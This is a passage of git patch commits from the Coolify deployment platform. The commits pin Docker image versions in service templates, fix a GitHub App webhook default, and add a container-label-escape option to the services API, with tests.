+ 'destination_type' => StandaloneDocker::class, + 'source_id' => 0, + 'source_type' => GithubApp::class, + 'private_key_id' => 1, + ]); Application::create([ 'uuid' => 'gitlab-deploy-key', 'name' => 'GitLab Deploy Key Example', From 2c06223044fcd2f461e814516bbfa82daf488f45 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 14:24:20 +0100 Subject: [PATCH 195/305] docs(settings): clarify Do Not Track helper text Expand the helper text to explicitly explain that Do Not Track disables both installation count reporting and error report submission, not just collection of other data. --- resources/views/livewire/settings/advanced.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/livewire/settings/advanced.blade.php b/resources/views/livewire/settings/advanced.blade.php index 3069c8479..242cacf48 100644 --- a/resources/views/livewire/settings/advanced.blade.php +++ b/resources/views/livewire/settings/advanced.blade.php @@ -23,7 +23,7 @@ class="flex flex-col h-full gap-8 sm:flex-row">

DNS Settings

From 9ea8e4dabf17f7cb1b4a7994e76660c48f299482 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 15:10:06 +0100 Subject: [PATCH 196/305] add dataforest sponsor --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index e9ea0e7d4..b2d622167 100644 --- a/README.md +++ b/README.md @@ -77,6 +77,7 @@ ### Big Sponsors * [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers * [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy * [Darweb](https://darweb.nl/?ref=coolify.io) - 3D CPQ solutions for ecommerce design +* [Dataforest Cloud](https://cloud.dataforest.net/en?ref=coolify.io) - Deploy cloud servers as seeds independently in seconds. Enterprise hardware, premium network, 100% made in Germany. * [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform * [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions * [Greptile](https://www.greptile.com?ref=coolify.io) - The AI Code Reviewer From 21ed8fd300d21ba9b7cdf1503fbdd835161e89d7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 15:10:12 +0100 Subject: [PATCH 197/305] version++ --- config/constants.php | 2 +- other/nightly/versions.json | 4 ++-- versions.json | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/config/constants.php b/config/constants.php index 5cb924148..9c6454cae 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.468', + 'version' => '4.0.0-beta.469', 'helper_version' => '1.0.12', 'realtime_version' => '1.0.11', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 7fbe25374..7564f625e 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.468" + "version": "4.0.0-beta.469" }, "nightly": { - "version": "4.0.0-beta.469" + "version": "4.0.0" }, "helper": { "version": "1.0.12" diff --git a/versions.json b/versions.json index 7fbe25374..7564f625e 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.468" + "version": "4.0.0-beta.469" }, "nightly": { - "version": "4.0.0-beta.469" + "version": "4.0.0" }, "helper": { "version": "1.0.12" From c3d8f70ebb86afc6c77096b2634c8feff275b217 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 11:19:00 +0530 Subject: [PATCH 198/305] fix(git): GitHub App webhook endpoint defaults to IPv4 instead of the instance domain --- app/Livewire/Source/Github/Change.php | 2 +- resources/views/livewire/source/github/change.blade.php | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php index 0a38e6088..17323fdec 100644 --- a/app/Livewire/Source/Github/Change.php +++ b/app/Livewire/Source/Github/Change.php @@ -239,7 +239,7 @@ public function mount() if (isCloud() && ! isDev()) { $this->webhook_endpoint = config('app.url'); } else { - $this->webhook_endpoint = $this->ipv4 ?? ''; + $this->webhook_endpoint = $this->fqdn ?? $this->ipv4 ?? ''; $this->is_system_wide = $this->github_app->is_system_wide; } } catch (\Throwable $e) { diff --git a/resources/views/livewire/source/github/change.blade.php b/resources/views/livewire/source/github/change.blade.php index 53d953aa2..9ccf1e2b7 100644 --- a/resources/views/livewire/source/github/change.blade.php +++ b/resources/views/livewire/source/github/change.blade.php @@ -242,15 +242,15 @@ class=""
+ @if ($fqdn) + + @endif @if ($ipv4) @endif @if ($ipv6) @endif - @if ($fqdn) - - @endif @if (config('app.url')) @endif From f1b8aaed2e1ec99f86b9ea10a1cfe39ea261b294 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 11:40:25 +0530 Subject: [PATCH 199/305] fix(service): hoppscotch fails to start due to db unhealthy --- templates/compose/hoppscotch.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/hoppscotch.yaml b/templates/compose/hoppscotch.yaml index 536a3a215..2f8731c0f 100644 --- a/templates/compose/hoppscotch.yaml +++ b/templates/compose/hoppscotch.yaml @@ -7,7 +7,7 @@ services: backend: - image: hoppscotch/hoppscotch:latest + image: hoppscotch/hoppscotch:2026.2.1 environment: - SERVICE_URL_HOPPSCOTCH_80 - VITE_ALLOWED_AUTH_PROVIDERS=${VITE_ALLOWED_AUTH_PROVIDERS:-GOOGLE,GITHUB,MICROSOFT,EMAIL} @@ -34,7 +34,7 @@ services: retries: 10 hoppscotch-db: - image: postgres:latest + image: postgres:15 volumes: - postgres_data:/var/lib/postgresql/data environment: @@ -51,7 +51,7 @@ services: db-migration: exclude_from_hc: true - image: hoppscotch/hoppscotch:latest + image: hoppscotch/hoppscotch:2026.2.1 depends_on: hoppscotch-db: condition: service_healthy From 963e33562183d9c1ec232f85717fbb7a7e25f8d9 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:05:06 +0530 Subject: [PATCH 200/305] chore(service): pin castopod service to a static version instead of latest --- templates/compose/castopod.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/castopod.yaml b/templates/compose/castopod.yaml index c43f4fba5..8eaed59e5 100644 --- a/templates/compose/castopod.yaml +++ b/templates/compose/castopod.yaml @@ -7,7 +7,7 @@ services: castopod: - image: castopod/castopod:latest + image: castopod/castopod:1.15.4 volumes: - castopod-media:/var/www/castopod/public/media environment: From 35eb5cf937b6a7d51799ecee80ab4e95d58d5601 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:27:55 +0530 Subject: [PATCH 201/305] chore(service): remove unused attributes on imgcompress service --- templates/compose/imgcompress.yaml | 2 -- 1 file changed, 2 deletions(-) diff --git a/templates/compose/imgcompress.yaml b/templates/compose/imgcompress.yaml index 1046ead59..0fea5a0ff 100644 --- a/templates/compose/imgcompress.yaml +++ b/templates/compose/imgcompress.yaml @@ -8,8 +8,6 @@ services: imgcompress: image: karimz1/imgcompress:${IMGCOMPRESS_VERSION:-latest} - container_name: imgcompress - restart: always environment: - SERVICE_URL_IMGCOMPRESS_5000 - DISABLE_LOGO=${DISABLE_LOGO:-false} From c25e59e7edf54994058e0c7c9d599ad761db574c Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:28:25 +0530 Subject: [PATCH 202/305] chore(service): pin imgcompress to a static version instead of latest --- templates/compose/imgcompress.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/imgcompress.yaml b/templates/compose/imgcompress.yaml index 0fea5a0ff..7cbe4b468 100644 --- a/templates/compose/imgcompress.yaml +++ b/templates/compose/imgcompress.yaml @@ -7,7 +7,7 @@ services: imgcompress: - image: karimz1/imgcompress:${IMGCOMPRESS_VERSION:-latest} + image: karimz1/imgcompress:0.6.0 environment: - SERVICE_URL_IMGCOMPRESS_5000 - DISABLE_LOGO=${DISABLE_LOGO:-false} From b9cae51c5d774ad14c4c44263c268947c3205acf Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 13 Mar 2026 13:32:58 +0100 Subject: [PATCH 203/305] feat(service): add container label escape control to services API Add `is_container_label_escape_enabled` boolean field to services API, allowing users to control whether special characters in container labels are escaped. Defaults to true (escaping enabled). When disabled, users can use environment variables within labels. Includes validation rules and comprehensive test coverage. --- .../Controllers/Api/ServicesController.php | 20 ++++- .../ServiceContainerLabelEscapeApiTest.php | 75 +++++++++++++++++++ 2 files changed, 92 insertions(+), 3 deletions(-) create mode 100644 tests/Feature/ServiceContainerLabelEscapeApiTest.php diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index b4fe4e47b..32097443e 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -222,6 +222,7 @@ public function services(Request $request) ), ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], + 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], ], ), ), @@ -288,7 +289,7 @@ public function services(Request $request) )] public function create_service(Request $request) { - $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override']; + $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -317,6 +318,7 @@ public function create_service(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -429,6 +431,9 @@ public function create_service(Request $request) $service = Service::create($servicePayload); $service->name = $request->name ?? "$oneClickServiceName-".$service->uuid; $service->description = $request->description; + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); if ($oneClickDotEnvs?->count() > 0) { $oneClickDotEnvs->each(function ($value) use ($service) { @@ -485,7 +490,7 @@ public function create_service(Request $request) return response()->json(['message' => 'Service not found.', 'valid_service_types' => $serviceKeys], 404); } elseif (filled($request->docker_compose_raw)) { - $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override']; + $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'project_uuid' => 'string|required', @@ -503,6 +508,7 @@ public function create_service(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -609,6 +615,9 @@ public function create_service(Request $request) $service->destination_id = $destination->id; $service->destination_type = $destination->getMorphClass(); $service->connect_to_docker_network = $connectToDockerNetwork; + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); $service->parse(isNew: true); @@ -835,6 +844,7 @@ public function delete_by_uuid(Request $request) ), ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], + 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], ], ) ), @@ -923,7 +933,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $service); - $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override']; + $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -936,6 +946,7 @@ public function update_by_uuid(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -1001,6 +1012,9 @@ public function update_by_uuid(Request $request) if ($request->has('connect_to_docker_network')) { $service->connect_to_docker_network = $request->connect_to_docker_network; } + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); $service->parse(); diff --git a/tests/Feature/ServiceContainerLabelEscapeApiTest.php b/tests/Feature/ServiceContainerLabelEscapeApiTest.php new file mode 100644 index 000000000..895d776f0 --- /dev/null +++ b/tests/Feature/ServiceContainerLabelEscapeApiTest.php @@ -0,0 +1,75 @@ + 0, 'is_api_enabled' => true]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = $this->project->environments()->first(); +}); + +function serviceContainerLabelAuthHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/services/{uuid}', function () { + test('accepts is_container_label_escape_enabled field', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/services/{$service->uuid}", [ + 'is_container_label_escape_enabled' => false, + ]); + + $response->assertStatus(200); + + $service->refresh(); + expect($service->is_container_label_escape_enabled)->toBeFalse(); + }); + + test('rejects invalid is_container_label_escape_enabled value', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/services/{$service->uuid}", [ + 'is_container_label_escape_enabled' => 'not-a-boolean', + ]); + + $response->assertStatus(422); + }); +}); From a97612b29e8f7194a4e4c57cc3cd932bce1e43b7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 13 Mar 2026 13:53:03 +0100 Subject: [PATCH 204/305] fix(docker-compose): respect preserveRepository when injecting --project-directory When adding --project-directory to custom docker compose start commands, use the application's host workdir if preserveRepository is true, otherwise use the container workdir. Add tests for both scenarios and explicit paths. --- app/Jobs/ApplicationDeploymentJob.php | 3 +- templates/service-templates-latest.json | 8 +-- templates/service-templates.json | 8 +-- ...posePreserveRepositoryStartCommandTest.php | 49 +++++++++++++++++++ 4 files changed, 59 insertions(+), 9 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index fcd619fd4..f84cdceb9 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -573,7 +573,8 @@ private function deploy_docker_compose_buildpack() if (data_get($this->application, 'docker_compose_custom_start_command')) { $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) { - $this->docker_compose_custom_start_command = str($this->docker_compose_custom_start_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); + $projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir; + $this->docker_compose_custom_start_command = str($this->docker_compose_custom_start_command)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); } } if (data_get($this->application, 'docker_compose_custom_build_command')) { diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 2ea3ce8c5..bc05073d1 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -489,7 +489,7 @@ "castopod": { "documentation": "https://docs.castopod.org/main/en/?utm_source=coolify.io", "slogan": "Castopod is a free & open-source hosting platform made for podcasters who want engage and interact with their audience.", - "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBU1RPUE9EXzgwMDAKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1jYXN0b3BvZAogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIE1ZU1FMX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ0NQX0RJU0FCTEVfSFRUUFM9JHtDUF9ESVNBQkxFX0hUVFBTOi0xfScKICAgICAgLSBDUF9CQVNFVVJMPSRTRVJWSUNFX1VSTF9DQVNUT1BPRAogICAgICAtIENQX0FOQUxZVElDU19TQUxUPSRTRVJWSUNFX1JFQUxCQVNFNjRfNjRfU0FMVAogICAgICAtIENQX0NBQ0hFX0hBTkRMRVI9cmVkaXMKICAgICAgLSBDUF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gQ1BfUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDAwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWRiOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTVlTUUxfUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1ZU1FMX0RBVEFCQVNFPWNhc3RvcG9kCiAgICAgIC0gTVlTUUxfVVNFUj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjItYWxwaW5lJwogICAgY29tbWFuZDogJy0tcmVxdWlyZXBhc3MgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMnCiAgICB2b2x1bWVzOgogICAgICAtICdjYXN0b3BvZC1jYWNoZTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIC1hICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOjEuMTUuNCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBU1RPUE9EXzgwODAKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1jYXN0b3BvZAogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIE1ZU1FMX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ0NQX0RJU0FCTEVfSFRUUFM9JHtDUF9ESVNBQkxFX0hUVFBTOi0xfScKICAgICAgLSBDUF9CQVNFVVJMPSRTRVJWSUNFX1VSTF9DQVNUT1BPRAogICAgICAtIENQX0FOQUxZVElDU19TQUxUPSRTRVJWSUNFX1JFQUxCQVNFNjRfNjRfU0FMVAogICAgICAtIENQX0NBQ0hFX0hBTkRMRVI9cmVkaXMKICAgICAgLSBDUF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gQ1BfUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDgwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWRiOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTVlTUUxfUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1ZU1FMX0RBVEFCQVNFPWNhc3RvcG9kCiAgICAgIC0gTVlTUUxfVVNFUj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjItYWxwaW5lJwogICAgY29tbWFuZDogJy0tcmVxdWlyZXBhc3MgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMnCiAgICB2b2x1bWVzOgogICAgICAtICdjYXN0b3BvZC1jYWNoZTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIC1hICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "podcast", "media", @@ -503,7 +503,7 @@ "category": "media", "logo": "svgs/castopod.svg", "minversion": "0.0.0", - "port": "8000" + "port": "8080" }, "changedetection": { "documentation": "https://github.com/dgtlmoon/changedetection.io/?utm_source=coolify.io", @@ -2030,7 +2030,7 @@ "hoppscotch": { "documentation": "https://docs.hoppscotch.io?utm_source=coolify.io", "slogan": "The Open Source API Development Platform", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0hPUFBTQ09UQ0hfODAKICAgICAgLSAnVklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTPSR7VklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTOi1HT09HTEUsR0lUSFVCLE1JQ1JPU09GVCxFTUFJTH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREJ9JwogICAgICAtICdEQVRBX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfREFUQUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdXSElURUxJU1RFRF9PUklHSU5TPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZCwke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9LCR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M9JHtNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTOi10cnVlfScKICAgICAgLSAnVklURV9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX1NIT1JUQ09ERV9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX0FETUlOX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdWSVRFX0JBQ0tFTkRfR1FMX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX1dTX1VSTD13c3M6Ly8ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL2dyYXBocWwnCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9BUElfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZC92MScKICAgICAgLSAnVklURV9BUFBfVE9TX0xJTks9aHR0cHM6Ly9kb2NzLmhvcHBzY290Y2guaW8vc3VwcG9ydC90ZXJtcycKICAgICAgLSAnVklURV9BUFBfUFJJVkFDWV9QT0xJQ1lfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3ByaXZhY3knCiAgICAgIC0gRU5BQkxFX1NVQlBBVEhfQkFTRURfQUNDRVNTPXRydWUKICAgIGRlcGVuZHNfb246CiAgICAgIGRiLW1pZ3JhdGlvbjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfY29tcGxldGVkX3N1Y2Nlc3NmdWxseQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBob3Bwc2NvdGNoLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR